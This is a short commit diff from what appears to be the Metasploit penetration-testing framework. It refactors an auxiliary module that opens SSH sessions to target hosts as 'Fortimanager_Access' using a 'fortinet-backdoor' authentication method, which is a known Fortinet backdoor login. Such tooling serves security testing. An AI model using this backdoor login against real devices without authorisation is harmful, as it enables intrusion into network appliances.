Land #6612, missing commits included
commit
a6a37b3089
|
@ -42,14 +42,19 @@ class Metasploit4 < Msf::Auxiliary
|
||||||
end
|
end
|
||||||
|
|
||||||
def run_host(ip)
|
def run_host(ip)
|
||||||
|
ssh_opts = {
|
||||||
|
port: datastore['RPORT'],
|
||||||
|
auth_methods: ['fortinet-backdoor']
|
||||||
|
}
|
||||||
|
|
||||||
|
ssh_opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']
|
||||||
|
|
||||||
begin
|
begin
|
||||||
ssh = Timeout.timeout(datastore['SSH_TIMEOUT']) do
|
ssh = Timeout.timeout(datastore['SSH_TIMEOUT']) do
|
||||||
Net::SSH.start(
|
Net::SSH.start(
|
||||||
ip,
|
ip,
|
||||||
'Fortimanager_Access',
|
'Fortimanager_Access',
|
||||||
port: datastore['RPORT'],
|
ssh_opts
|
||||||
auth_methods: ['fortinet-backdoor'],
|
|
||||||
verbose: datastore['SSH_DEBUG'] ? :debug : nil
|
|
||||||
)
|
)
|
||||||
end
|
end
|
||||||
rescue Net::SSH::Exception => e
|
rescue Net::SSH::Exception => e
|
||||||
|
|
Loading…
Reference in New Issue